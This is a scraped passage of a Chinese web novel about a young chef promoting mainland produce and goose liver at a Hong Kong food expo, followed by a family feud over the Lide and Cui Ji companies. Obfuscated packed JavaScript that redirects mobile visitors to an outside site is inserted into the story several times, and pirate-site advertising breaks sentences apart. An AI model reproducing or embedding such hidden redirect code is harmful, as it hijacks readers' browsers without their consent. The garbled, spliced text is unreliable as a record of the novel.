“可惜周爷爷没过来，否则这两只老鹅头，他可以吃得眼睛眯起来。”岳宁不无遗憾。 千金难买老鹅头，上辈子潮汕的那些街边卤水老店，一个六年的老鹅头，可以卖一两千。岳宁的宁宴，一个六年的老鹅头要提前三周预定，定价三千八百八十八。 周文婷笑：“他明天就到 了。要不你给他留一个？” “真的啊！”岳宁兴奋地不行，“明天爷爷几点到，哎呀！中午我还在会场，晚上吧？晚上我给他做菜，就是老爷子年纪大了，晚上不适合吃太……” 周文婷笑：“之前我怎么劝他来港城，他嫌弃港城房子逼仄，嫌弃港城没什么吃的。自从你给他煮了饭，他立马去办手续，后来等审批，审批也不算慢了。他就天天叫，为什么去港城的手续那么复杂？为什么要那么多日子？每天打我电话，抱怨港城办手续太慢了，手续刚刚下来，他就火急火燎地要过来了。说再不吃你做的饭，他要想出神经病了。你也是，听见他过来，卡着点要给他做饭。” “阿姨，您就不懂了吧？厨子和老饕之间的关系，无异于伯牙子期，更何况周爷爷是我们父女两代人的老食客。” “明天我带他来会场，你在会场上给他随便吃点就行了。”周文婷跟她说。 “嗯嗯！”岳宁心里高兴，到时候跟周爷爷商量商量，让他来做宁宴的顾问。 鸿安收购崔记旗下的辉煌，昨天已经正式完成，新闻都出来了。 鸿安这些年在商超上做得风生水起，相对的酒店这块有点滞后，外界揣测这次的并购是否意味着鸿安将加大对酒店这一块的投入？并且会进一步在港城投资？ 大财团的投资方向，哪怕是平民百姓都会讨论一二，毕竟还会影响相关行业的股票吗？ 港城鸿安大酒店的总经理透露，不日将公布鸿安对辉煌重组策略。 岳宁要开始准备接手辉煌了，她最近在拟定开业菜单，这个时候，周爷爷过来，帮她一起定菜单，试菜品，站在食客的角度提改进意见。那真是及时雨啊！ 岳宝华也从福运楼带回来消息，最终福运楼决定送阿邦、阿星和罗国强出来。 岳宁意外罗国强也在名单里。岳宝华说：“上头领导考虑你罗爷爷名望和贡献，还是希望他能学好，也算是家族有传承。” 岳宁相信这也是罗爷爷和爸爸的愿望，本来她这里也缺人，来了也好。 * 第二天一早，宝华楼的人把去会场的东西装了车，岳宁跟车去展会现场。 这个时候展会还没开始，阿忠和一个小学徒做准备，岳宁自己到处转转，这个展会还真不小。 这个年代，港城的农副产品固然有很多是大陆供应，也有部分是越南、泰国和台湾过来的 ，当然还有澳洲、美洲和欧洲供货商。没办法谁叫港城现在蓬勃发展，而且地理位置优越。 所以，展会按照区域又分成欧美、亚洲和其他，类型上有休闲食品、调味料、乳制品、肉类、水产、果蔬、粮食等。还有烘焙、工具等一些相关周边产品。 等下自己要好好逛逛，买点平时买不太到的食材和调味料。 立德和崔记都设了展位，岳宁还特地去立德的展位看了，立德今天推的重头就是豉油鸡捞面。岳宁见自己给豉油鸡面的广告牌还竖着。本来崔慧仪倒是想叫她来站一天，考虑到她很忙，崔慧仪舍不得，最后她倒是去跟她完全没生意来往的农产品进出口公司站台。可把崔慧仪气得拧了一把岳宁的脸颊，骂了她几句小没良心。 岳宁转了一圈，各个展台的工作人员也陆续到位了，她看时间差不多了，回到进出口公司的展台，跟进出口公司的领导们寒暄了几句。 上次从周文婷那里岳宁大约了解了供港食品的标准，这次刚好是供港供货商筛选的一位也在，她初步了解了一下准入门槛。按照自己目前的发展态势，加上崔慧仪，应该能养活一家家禽养殖场，她投资一家家禽养殖场让阿根叔经营。想到这里岳宁又暗笑，不知道阿根叔有没有追到葛大姐？ 锅子经过加热，香味伴随着蒸汽溢出锅盖。岳宁走到餐台边，手上套了塑料手套，从塑料食品箱里拿出橘子大小的脆馍，放进烤箱里复烤。 她打开手边的卤肉锅子，水蒸汽升腾而起，在展馆上空扩散，观众们入场，专业观众们各有目的性，普通观众来逛吃逛吃。 这个气味，让明明刚刚才吃过早饭的观众们，瞬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915428|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间感觉肚子似乎空了。 没有目的性的普通观众追随香味而来，随着脚步接近，香味越来越浓，而且，香味似乎是两种？他们见到内地进出口公司的农产品展馆前排了两条队伍。 有人手里拿了一个泡沫塑料托盘，上头是一块粉嫩的鹅肝，他用牙签戳着鹅肝，塞嘴里。 边上人问：“好吃吗？ “太好吃了，我从来没吃过这么好吃的鹅肝。 他又排到了另外一条队伍里。 “你不是已经吃到了吗？怎么又来了？ “来这边吃肉夹馍。 “什么是肉夹馍？ “我也不知道，就说是岳宁亲手做的肉夹馍。 岳宁把肉夹进馍里，她面 前的客人问：“岳宁乔君贤喜不喜欢吃这个肉夹馍？” 岳宁把肉夹馍放进油纸袋里递给眼前的师奶：“他超级喜欢的。在西北的时候就很喜欢前两天我还给他做了呢！内地湘西的黑猪肉质鲜甜肉香四溢肉质肥而不腻最好吃了。” “乔君贤很喜欢吗？”有人重复。 为了给内地农产品打广告岳宁自然而然把乔君贤给贡献出来了。她说：“对啊！对啊！他喜欢的你也会喜欢对吗？” “那他喜欢你我也喜欢你是吗？”后面一个大哥问。 岳宁把肉夹馍塞他手里：“什么话？他不喜欢我你也可以喜欢我。你吃了这个肉夹馍敢说一句不喜欢我的手艺？” 排队的人笑了起来。 这位大哥一口咬掉半个肉夹馍外头的那层酥皮层层酥脆里面的肉卤得软烂到舌头上有种说不出的满足这种满足只有两口两口之后只留下空气里越发馋人的香气他想要再次去排队 他说：“我不喜欢你。才给一小口这不是吊人胃口？” “试吃还想吃饱啊？” “就是呀！你不喜欢宁宁宁宁有我们喜欢。” “我同意他的说话不能这样啊！这么好味的东西没办法吃过瘾。” 岳宁抬头：“过两天吧！我联系乐梅姐。把方子给她就是目前市场上的肉要挑好的我们的湘西黑猪……” 岳宁再次打起了广告。 “这个鹅肝是我吃过最好吃的鹅肝比法国鹅肝好吃一百倍。”有观众说。 “我们潮汕的粉肝啦！我们每年过年都要卤鹅的我们从来都不觉得法国鹅肝是天底下最好吃的鹅肝我们潮汕鹅肝才是。” 岳宁一边递肉夹馍一边解释：“潮汕澄海的狮头鹅是世界上最大的鹅它的肝很大一般能到一斤以上。它的特点是粉嫩细腻丰腴。法国鹅肝是用饲料强喂让鹅肝成脂肪肝吃的就是鹅肝的油润丰腴。” “对吧对吧我们潮汕的鹅肝多吃不会腻肯定更好啦！” 岳宁笑：“我可没说哦！没有哪个更好啦！只有你更喜欢哪个？你是中国人更喜欢潮汕鹅肝也正常啊！” 岳宁在卖力地推荐内地的农产品她还有些惋惜：“可惜了我们西北实在太远了我以前养的羊羊肉特别好吃……” 这个年代山迢迢水迢迢西北的东西要出来太难了。 她和展会观众的几句对话被来采访的记者录制了下来中午一家电视台播出了一段去头掐尾还曲解岳宁意思的新闻：“岳宁：潮汕鹅肝远超法国鹅肝” 第72章 法国鹅肝 下午一点左右，周老爷子到了。 一到他就打开了岳宁给他准备的饭盒，里面一个狮头鹅的老鹅头。 年头长的狮头鹅，鹅头长出一个肉冠，年数越长肉冠越大。 这玩意儿能卖那么贵，吃口肯定是不错的，是否物有所值？那就是另外一说了。 对老饕来说，这东西是可遇不可求的好东西。 这只六年多的老鹅，岳宁用宝华楼那一锅老卤卤了一夜，今天一早捞出来，凉了以后切了片，装在饭盒里带了过来。 岳宁再亲手给老爷子回温了一片鹅肝，加上一个只有两口的肉夹馍，还有几片糖醋萝卜片。 老爷子身体滚圆，倒是没有糖尿病和高血压，也算是他天生有吃福，不过到底这个年纪了，不敢给他多吃。 周文婷见平时怎么都说不听的老爹，一句都不敢违抗小丫头，顿时觉得好笑。 老爷子细嚼慢咽，算下来有十几年，他都没吃过这么好吃的老鹅头了，一来六年以上的老鹅难觅，二来就算是女儿做了农产品进出口，能找到老鹅了。那些打着百年老卤的人家，这些年下来，有几家老卤味道没变的。 头冠这块肉实在胶糯，口齿留香，他细嚼慢咽，慢慢品味，这个时候要是有口小酒，就更美了。 岳宁回头看周爷爷一脸享受地吃着东西，比她自己吃东西还开心。 见她对这个老头这般殷勤，观众也有些好奇。岳宁做着肉夹馍，说着爸爸和老爷子的缘分。 “食客多年以后还记得你做过的一道菜，哪个厨子不感动？”岳宁感慨。 “你也会有的。”有人说道。 “肯定的，肯定的。” 特别和谐的讨论，有记者带着摄像挤到了前面来，今天记者来了很多批了，来了就得给内地的农产品宣传，岳宁十分配合他拍摄。 记者问：“岳小姐，有报道称，你说潮汕鹅肝胜过法国鹅肝。” 岳宁一愣，她从早上到现在，只要是现场展示的，鸡鸭鱼肉，蔬菜米粮，她都推荐了一遍，潮汕鹅肝是大家吃了都说好，说了好几遍了。 她才十八岁，记忆力超好，况且上辈子她就是公众人物，拉一踩一的方式从来不用。 “怎么可能？我话多，我又不傻，怎么可能说这种话？”岳宁又递出一个肉夹馍。 “你精着呢！”观众说。 岳宁还一脸得意，把观众的话当成夸奖：“我今天是来 帮内地介绍产品的，我又不是给内地产品来拉仇恨的。怎么可能去说法国鹅肝不好？” 她跟记者说：“我没看过那条新闻，你们仔细去扒扒看，肯定是张冠李戴，乾坤大挪移，曲解我的意思。” “你没说过？” “肯定没说过。港城的假新闻还少吗？”岳宁抬头看人群中，已经有人先跑了，“你还在追问，有人已经跑回去扒那条新闻了。你辛辛苦苦来发问，最后新闻却是别人的。” 她这么一说，这个记者也转身就跑。 岳宁问：“到底是什么新闻？怎么这么扯？” 这个时候也没手机，最快的就是电视和电台，观众们正在参观，也没人看到，倒是进出口公司的人着急了，去电话亭打了电话，让公司里的同事去了解。 十来分钟后，岳宁知道了是本城收视份额最小的那家电视台爆出来的新闻，这家电视台就跟那些八卦杂志一样，最喜欢整这些捕风捉影的新闻，明星们深受其害，但是害过之后，又能怎么样？下次继续害。 岳宁不担心，她没说错就行了。她背后还有亨通，真做错了，亨通没办法，但是往她身上泼这种低级脏水，那也不是致远哥哥能忍的。 岳宁手里不停，嘴里介绍着粤省，乃至内地全国的特产，顺带还会说风土人情，周老爷子吃好了，走过来，他见识广博，一老一少，一搭一档，就差了一块快板，否则两人都能说书了。 听得大家口水泛滥，都想知道香到没朋友的樟茶鸭、天上龙肉地上驴肉的驴肉火烧是个什么味道。 “岳宁，有个进口食品代理商，打着你的招牌在介绍的法国鹅肝。”一个观众急匆匆地跑过来说。 “是啊！是啊！他们现场在煎鹅肝。” 岳宁手里已经差不多了，还剩下十几个馍，阿忠和小学徒那里，也基本上没事了，她叫阿忠帮她做肉夹馍，自己去看看。 岳宁往欧美展区去，好远就看见有人站得很高，拿着话筒：“岳宁说的话，我不服，咱们进口的法国鹅肝绝对不比潮汕鹅肝差。” 有人看见岳宁，喊：“岳宁来了。” 这人在人群中找到了她，从椅子上跳了下来，往她这里看来。 岳宁见是一个三十左右的年轻男子，他笑得坦然：“岳小姐好啊！” “好啊！我可没说。既然你这么说了，那我也说，咱们潮汕鹅肝绝对不比法国鹅肝差。”岳宁 走了过去，到正在煎的鹅肝那里。 “我看新闻了，你确实没说。要不然我就不是这么说了，直接砸你们展台了。这个年轻男子倒是实诚。 岳宁笑看着他：“滑头。 “商业营销吗？ 一个小姑娘正切鹅肝，煎鹅肝，见到岳宁过来似乎有些不知所措。 岳宁好像颇有兴趣地低头看鹅肝，她说：“好肝！ 她没生气，还夸了，那个男子走过来，自己动手从锅里盛一块：“岳小姐，尝一块？ 岳宁抬起头，看着他：“好肝，煎坏了。 “啊？ 岳宁搓手：“看见好东西，手痒了，我刚才看见有好多配料，我去买点配料，我来煎？ 这个男子喜出望外：“好啊！ 她说：“你到我们展台，帮我去叫周宣雄老先生过来，就说请他吃法国鹅肝。 这个男子兴奋地说：“好，我马上去。 他们这里就是欧美展台了，东西还真不少，反正有什么，就做什么吧？记者和观众跟着她，她一边挑一边解说，最后她找了意大利黑醋，一瓶浓缩鸡汤汁，再来一个苹果。 岳宁去洗了手，把苹果也洗了。 回了这家进口食品展台，她说：“我今天是粤省农产品进出口公司的人，绝对没收这家的出场费，单纯就是手痒了，嘴巴也馋了。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915429|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出场费后补。那个男子带着周老爷子过来。 岳宁让那个小姑娘让开，她拿起一块鹅肝，放在案板上：“既然来了法国鹅肝的展台，那我就补充几句。三四千年前，埃及人发现迁徙的大雁在过冬之前，会猛吃，那段时间的肝特别肥美。后来罗马人为了得到更肥的鹅肝，开始人工育肥，凯撒大帝就是鹅肝的爱好者，欧洲一直有吃鹅肝的传统，直到路易十五爱吃鹅肝，鹅肝在法餐中才有了今日的地位。人们为了追求更加肥美的鹅肝，用机器给鹅灌饲料，普通鹅育肥时期一天吃一公斤，机器就给鹅灌三四公斤，得到了我们现在看到的这块鹅肝。 她拿起切刀，用纸抹干净刀两边粘连的鹅肝酱，把刀放在通红的电炉上烤，烤热了刀再去切鹅肝，鹅肝切出来光滑整洁，她向大家展示：“这样切出来是不是很漂亮？ 岳宁切了三片鹅肝，她又给这几片鹅肝划了斜纹花刀：“花刀，是为了表面焦层更加完美。 岳宁拿起盐瓶，给划了花刀的鹅肝撒盐 ：“给它一点底味。 腌制好了鹅肝，她又把苹果切了薄片放在边上，拿起锅子开始煎鹅肝：“这也是快速找到材料。平时在家，会有更多的制作办法。 随着锅子升温，鹅肝的香味飘出。 鹅肝极嫩，这个电丝圈加热的炉子没办法调节温度，她只能上下移动锅子，来控制温度。 岳宁终于把鹅肝煎到了她想要的成熟度，她取出鹅肝挪到盘里：“跟牛排一样，醒一下，我们煎苹果。 观众在电视里看见过岳宁猛火颠勺的那种猛烈的烟火气，现在她在做西餐，她就变成了法餐大厨那种端着的味道。 岳宁用锅里的鹅肝油煎了苹果片，配在鹅肝旁边。 她打开了浓缩鸡汁的瓶子，用牙签沾了一点，尝了尝：“还行，家里可以自己调制浓缩鸡汤汁，会更好一些。 煎过苹果的鹅肝油本身香气很浓郁了，这会儿黑醋的酸香进入，让人味蕾顿开，岳宁调好了酱汁，用勺子在瓷盘里划出弧度。 岳宁放下锅子，对着周老爷子说：“周爷爷，高品质的香煎鹅肝。 “按照岳小姐的方法做。 那个年轻男子跟小姑娘吩咐一声后，请岳宁和老爷子一起进去，三个人坐在展台里，年轻男子低头吃一口，焦香、果香和醋香，加上鹅肝本身的味道，这个鹅肝似乎就应该这样做。 “煎了之后，如果在烤箱里烤一下，内里会更加丝滑，另外这个焦层还差了一点点，还有就是这个鸡汁啊！最好不要用这种。周老爷子一边吃一边批评。 岳宁点头：“临时的吗？回家了，我再给您做？ 这个男子立刻说：“鹅肝我给您送去。 岳宁把鹅肝吃了，她刚才看见展台上的名片，她说：“邱先生，既然已经闹出了这么一个乌龙新闻，不如索性闹闹大？咱们明天搭台，来一个潮汕卤鹅肝和法式香煎鹅肝的大比拼，分成两派，你们叫‘法国鹅肝不输潮汕鹅肝’，我们叫‘潮汕鹅肝不输法国鹅肝’，不为结果，就为了让参展的观众，尝尝不同地区对美味的理解。 这个男子不敢相信，这是天上掉下来的机会？ 第73章 崔记困境 当晚两个台，几乎同时播放两个专访。 一个台是在采访御龙轩的郭老板。主题是日本那位巨星演唱会的接待，明天巨星就要到港了，从住宿到餐饮，他们都做好了全方位的准备。 保证中村美伊小姐能以最好的状态给港城歌迷献唱。 话说得好好的，郭老板就开始发散思维了：“我们秉承顾客至上，低调经营的宗旨，现在外面有些特别红的商家，一天到晚不想走正路。红到发紫之后，不知道自己是谁了。今天居然说什么法国鹅肝不如潮汕鹅肝。法国鹅肝啊！鹅肝与鱼子酱、松露并列为‘世界三大珍馐’，居然拿没走出潮汕的卤鹅肝来跟法国鹅肝做比较，还说什么远超法国鹅肝。我在这里想跟小姑娘说一声：‘孩子，你还年轻，气盛可以，但是无知还气盛，就显得特别愚蠢。如果没有吃过法国鹅肝的话，可以来御龙轩，领略一下法国鹅肝的美妙。’” HTV则是播放食品展的专访，食品展主办方见岳宁带起了话题度，进出口公司和那家进口食品商又要一起办活动。他们索性邀请岳宁和两家公司的人，一起做了一个专访。 进出口公司的领导说了他们为什么找岳宁来做宣传，也说岳宁不仅不收代言费，还主动提出用卤味来吸引观众，今天他们收到的询盘已经是去年的四倍多。 “我是粤城人呀！能为家里带货，那是我的荣耀。”岳宁笑着说，“如果有机会，我想给我们西北做宣传，我希望能把西北的羊肉、牛肉、土豆带上港城的餐桌。” 主持人问：“岳小姐，中午有新闻，传你说潮汕鹅肝远超法国鹅肝，你怎么看？” 岳宁笑指着那位进口商说：“我到现在都没看到新闻呢！邱老板看了，他还利用这条新闻进行产品营销了。让他来说。” 邱老板耸肩：“我刚刚拿下这家法国公司的食品代理权，港城经济高速发展，鹅肝的消费群体会一直上涨，看到这条新闻，刚好岳小姐比当红的明星还要红。我中午看见新闻，新闻里说潮汕鹅肝好吃一百倍的，是现场的观众，岳小姐的声音没有出来。她应该没表达类似的意思，要是表达了，新闻肯定不会放过她。我就认为自己可以利用这么一个机会。拿着岳小姐的名号进行宣传。当岳小姐向我走来，我的心其实挺慌的。” 岳宁瞪他：“你慌吗？我怎么只看到你好坦然，脸皮好厚啊！” “脸 上镇定，心里很慌，生怕你来砸场子。就我这个体型，估计能被你一脚踹飞。他还低头看自己，“我没想到的是，你会来煎我的鹅肝。 岳宁一脸无语：“小厨子最看不得暴殄天物。我想做和牛、鹅肝、温泉蛋鲍汁拌饭，我找了好几家商行，找到了合适和牛，就没找到让我满意的鹅肝。你这个鹅肝品质，我一眼就看中了。你的人瞎切，瞎煎。你知道我什么心情吗？ “等等，你要做的是个什么菜？ 岳宁像是卖关子似得说：“保密，过两天，你们就会知道了。 主持人低头看纸条，问：“观众很想知道，岳小姐是粤菜厨师，以前一直在西北，怎么会煎鹅肝的？ “解放前，北京上海粤城西餐很流行。法国鹅肝其实鹅肝和鸭肝两种，那时候北京的六国饭店里面有道……岳宁开始讲民国西餐的情况，“在西北，我爸爸没办法用鹅肝让我实际操作，我只能死记硬背菜谱，到了港城，我是老鼠掉进米缸，什么都能找到，我可以一个一个试啊！家传加上愿意学而已。 岳宁看向镜头：“就像邱先生想打开市场，他来蹭我这个红气。我想为内地多卖点货，也让潮汕鹅肝去搭法国鹅肝的名气。这是在港城，很多人跟我一样来自粤省，卤鹅是过年的期待，也是过年的记忆。港城也是一个开放包容的城市，在这个蓬勃发展的城市，顶级食材的法国鹅肝，也有它的位子。 她站起来看向邱老板：“邱老板，明天，我们一起向大家展示，类似食材，在不同国家发展出的不同风味。 邱老板和岳宁并排站，两人一起说：“我们期待您的光临，无需争辩，只需品尝。谢谢！ 这段访谈结束，已经到了九点档的新闻，新闻头条：圆仔面拒用崔记生抽。 新闻里说立德食品总经理崔慧仪接受采访，承认立德食品近期暂停使用崔记生产的生抽。理由是近期从崔记进货的连续两个批次的生抽，菌落超标。 本来近期市场就有传闻，崔记调味的卫生问题堪忧，但是崔记的崔家昌几次都出来辟谣。 现在算是崔记下面的独立公司，崔家昌女儿经营的立德食品都不用他们家的生抽了。那卫生问题就是坐实了？ 受此影响，今天崔记股价大跌13%，加上近期因为传闻而跌到的股价，崔记的股价已经下挫了超过40%。 崔慧仪在家， 她靠在沙发上，看着电视机里女主播的播报，她姐坐在她边上，跟她说：“慧仪，你真一定要赶尽杀绝吗？他到底是我们的爸爸。” 崔慧仪站了起来，去吧台倒了一杯红酒，靠在吧台边，看着海面上星星点点的船只，说：“姐，他只是把你送回家。但是，他想送我进监狱。如果你站在他的一边，你们收购我手里立德的股份。我滚出去，重新创一个立德。” 崔慧文叹了一口气：“他……” “他做得还不够绝吗？”崔慧仪给她姐也倒了酒，“他靠着外公的资源起家，才有了崔记的今天。但是外公死后，他立马花天酒地。我们跟他说过多少次了，那个女人就是条毒蛇。这些话，他不仅没听，他还妄图把所有的东西都给那个女人生的儿子。你以为他不要立德吗？你以为他经营的那几年，是没放心思经营吗？不是的，他在继承了妈妈的这笔遗产之后，就想卖掉立德，洗掉靠女人发家的印记。咱们妈妈尸骨未寒，他就卖立德，会影响他的生意。他才坚持了这么几年，原本想等立德亏损几年就卖了。没想到我回来要接，他那是求之不得，就等我折腾两年，把立德折腾到没救了，就能甩掉了。” 说全网首发无弹窗免费阅读ｃａｉ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915430|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ｘｓ∨(请来才小 说 看最新章节 完整章节) 崔慧仪叹了一口气：“可谁想到，妈妈没有遗传外公的经商天赋，我们姊妹俩都遗传到了。立德到了我手里，不仅起死回生了，还开创了一片新的天地。反观崔记……” 崔慧文哪有不知道的，她当年建议开辉煌，她爸大手一挥，就说给她最好的资源，让她开港城最好的酒店。开了她才知道处处是坑，为此她一点一点地学起来，一步步从坑里爬起来，把辉煌带成了港城真正的高级酒店。辉煌赚钱了，回本了，她爸就把念头动到辉煌上来，那时候她怀着孩子，妊娠反应剧烈。她爸等于在逼她，要辉煌还是要孩子，最终她决定回家，让那个女人去管。 看着自己一手创立带起来的辉煌，惨淡到最后被收购的地步，崔慧文心里难受，她希望的是，立德和崔记切割，她们姊妹俩拿立德，崔记她爸给谁，她不想管。 “姐，是他要把我们赶尽杀绝，不是我要把他赶尽杀绝。”崔慧仪仰头一口喝尽红酒，“帮他还是帮我，你自己选，你帮他的话，也没什么。我还年轻，我还有宁宁，她会帮我，大不了重头再来一回，有了这几年的经验，总归比刚接手立德的时候要好。” 崔慧文转动红酒 ，这时门铃响了，崔慧仪从猫眼看出去，她爸气冲冲的站在门口。 她回头：“爸来了。 崔慧仪没有第一时间开门，崔家昌已经忍无可忍，开始砸门了。 崔慧仪拉开门，看着崔家昌：“爸，这不是独屋，邻居会被你吓到的。 崔家昌冲进来，反手“砰一声关上了大门。 看见大女儿也在，他走过去：“慧文，你就不知道管管你这个无法无天，眼里没有我这个亲爹的妹妹？ 崔慧文拿着酒杯，妹妹的意思她明白，这么做的话，她们姊妹就彻底跟爸爸断绝关系了。谁也不想走到这一步，但是现在抉择已经摆在她面前了。 崔慧文抬头：“爸爸眼里有没有我们姊妹俩？ 崔家昌怎么都没想到，会被大女儿逼问这么一句，他怒吼：“我怎么没有？我们对你们还不够尽心？你刚毕业，我给你开了辉煌，她刚毕业我就把立德交给了她。 崔慧文走到吧台，给崔家昌也倒了一杯红酒，递给他：“爸爸，冷静一些。 她回去拿了红酒杯，喝了一口：“我不想再谈辉煌了，辉煌已经易主，成了过去。我姑且相信你，你并不想要立德。那么这样，你把你手里，立德的股份全部转给我们姊妹俩。立德和崔记完全分开。以后我们之间，除了父女之情，不要谈其他了。崔记的一分一毫，我们姊妹俩都不会要。有了这个前提，我再劝慧仪，怎么好好跟您相处？ 崔家昌把所有的希望都放在大女儿身上，他怎么都没想到大女儿居然跟小女儿完全穿一条裤子，他怒气难以遏制，手里的酒杯往大女儿身上砸去，酒杯撞上崔慧文身后的墙，如血的红酒从壁布上挂了下来。 第74章 父女反目 崔家昌难以遏制地怒吼：“我还没死呢！你们就想分我的遗产？” “爸爸口口声声说爱我们，口口声声说妈妈当年一个大小姐下嫁于你，是你的运气。口口声声说，绝对不想要外公留下来的立德。我信了，我以为今天提出这个要求，您会一口答应。”崔慧文一口喝完酒杯里的酒，她笑了一声，“没想到您反应这么大？你这是不想要的样子吗？” 崔家昌见大女儿气定神闲地跟他说话，他用颤抖的手指着崔慧仪：“是我没跟你说清楚，她干了什么吗？” 崔慧文走到吧台，放下酒杯：“她污蔑崔记了吗？崔记没有卫生状况问题吗？还是说崔记当前的卫生状况只是发生在新品研发阶段？” “对啊！爸爸，如果是新品研发阶段，你就像我一样跟公众说明吗？没有影响上市产品。又不是什么大不了的，对吧！要不然你找找看，你们是不是也有一个叫林乐康的研发部经理，也勾结了外人陷害你。”崔慧仪笑得开心，“不对啊！你是被超市抽检出来菌落超标退货的。实际上，我这里退了已经五六个批次了。我才承认你们的货品有问题。怎么？就许你，我刚刚站在井口，你就要把我往里推。就不许我，在你掉粪坑里之后，跟人说你掉粪坑了？” 崔家昌不想跟小女儿说话，他看大女儿：“你自己看看你妹妹，像个大家小姐吗？言语刻薄粗鄙，做事自私自利，完全不顾及家族利益。” 崔慧文笑着点头：“她说话确实刻薄粗鄙，不过她不这么刻薄粗鄙，现在应该跟我一样，被你赶出立德了。家族利益？如果您把立德当成家族产业。你怎么会在明知立德没大问题的时候，出来道歉？如果您把她当女儿，怎么会任由别人陷害，还跟着别人一起陷害她，想要送她进监牢？你所谓的家族利益，是你和你儿子。跟我们姊妹俩有什么关系？” 崔家昌用不可置信的目光看大女儿：“你居然也这么想？” “那您要我怎么想？您不肯把立德股权转给我们姊妹俩。那您那些所谓的不想要外公留下的立德，这些话我还怎么相信？”崔慧文笑着说，“妈妈一开始相信您永远不会有别的女人，可您有了。后来她又相信，您不会有其他孩子，您又有了，还是个男孩。再后来她希望您能记住，她才是您崔家昌唯一的太太，您答应了。她就这么去了。她信了你这么多次，实际上呢？您不过是一 次次地食言。我跟妈妈一样傻，也信您。其实从妈妈离世，您跟我们姊妹一起分配了遗产，我就应该知道了。 “你们妈妈身体不好，不能生了。我要个儿子传宗接代，我有什么错？崔家昌捏着拳头，控制自己要挥拳的手。 崔慧文深吸一口气：“站在您的角度一点都没错。因为外公那么厉害的一个人，最终资产给了女儿，等于给了女婿，女婿还不会珍惜，恨不能把这些资产倒个手，改名换姓。所以您想要儿子，有什么错呢？ “我…… 崔慧文脸上带着淡笑：“爸，您想要立德，我们姊妹俩却不可能把立德给您，那是外公的心血，作为他的血脉，我们姊妹俩要把立德传承下去。您不给，我们会想办法来拿。是心平气和地解决，还是父女反目，您选吧！毕竟，崔记遍体鳞伤，立德蒸蒸日上。就像我们舍不得立德，您也舍不得崔记。 崔家昌听得咬牙切齿：“你们只认你们外公，就不认我这个爸爸了，是吧？ “怎么可能呢？是爸爸打算把所有的财产都给儿子，认为我们俩不配传承您的崔记。如果您没那个二奶，没这个儿子。别说不可能到今天这个局面，就是到了今天这个局面，无非就是我来把崔记工厂整顿一下，宁宁那里拿几个方子过来，出几个畅销款，立马就起来了！ 刚好电视机里正在放岳宁接受访谈的画面。 崔家昌记得白天的时候，自己听说有人炒作崔记卫生问题，看新闻的时候，还顺带看到，岳宁口无遮拦，狂言潮汕鹅肝胜过法国鹅肝，这会儿又变这样了？ 她是有**说翻盘就翻盘，自己现在深陷泥沼，女儿不伸手算了，还踩他。 “不说其他，就说辉煌吧？如果在我们姊妹俩手里，就算姐姐不想费心，也不用卖了，我们直接委托岳宁来管理。只要等着翻盘，每年分红利就好了。一切都是您自己的选择。崔慧仪走到门口拉开了门，“爸，您回去吧！既然您已经决定了，立德不给我们俩，我们俩得商量怎么拿。您也得考虑吧？各忙各的吧？ 崔慧文一脸担忧地说：“爸，您生我们俩的气也没用。我们俩的能力放在这里，还能替外公守住他的立德。你回去好好想想，谁来替您守住崔记？ 崔家昌从牙齿缝里挤出话来：“我不用你们俩个白眼狼来操心。 “白眼狼是从爸爸这里遗传的 吧？”崔慧仪笑得开心“对外公来说他在地下一定觉得没白疼我们姊妹俩一场。” 崔家昌看着两个女儿以前只有小女儿会对他冷嘲热讽但即便是冷嘲热讽有了事还会找他商量自从上次立德硼砂事件出来之后小女儿雷厉风行开掉了好几个人把立德管得跟铁桶一般 最最让他心寒的是大女儿以前不管大女儿如何不满他们之间从来没有这样慧文跟他反抗也不会说完全不顾及他的感受。今天她是铁了心跟小女儿站一起了。 他知道从这道门走出去两个女儿就再也不是他女儿了甚至是他的敌人。 可不走又能怎么样呢？走了他又能怎么办？崔记本来就库存压得高了现在因为这件事经销商又要退货刚刚卖了辉煌的钱还没留住又要出去了再下去他要保住崔记就只能抵押手里的立德的股份。 崔慧仪站在门口说：“爸你可以走了。我们商量我们的您也想想您有没有我失去立德之后再创一个立德的勇气。” “爸今时今日慧仪有我为她筹钱。您呢？我妈不在了还有谁愿意抵押自己所有资产陪您渡过危机？”崔慧文走到门口“爸回去问问你的小老婆女朋友 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 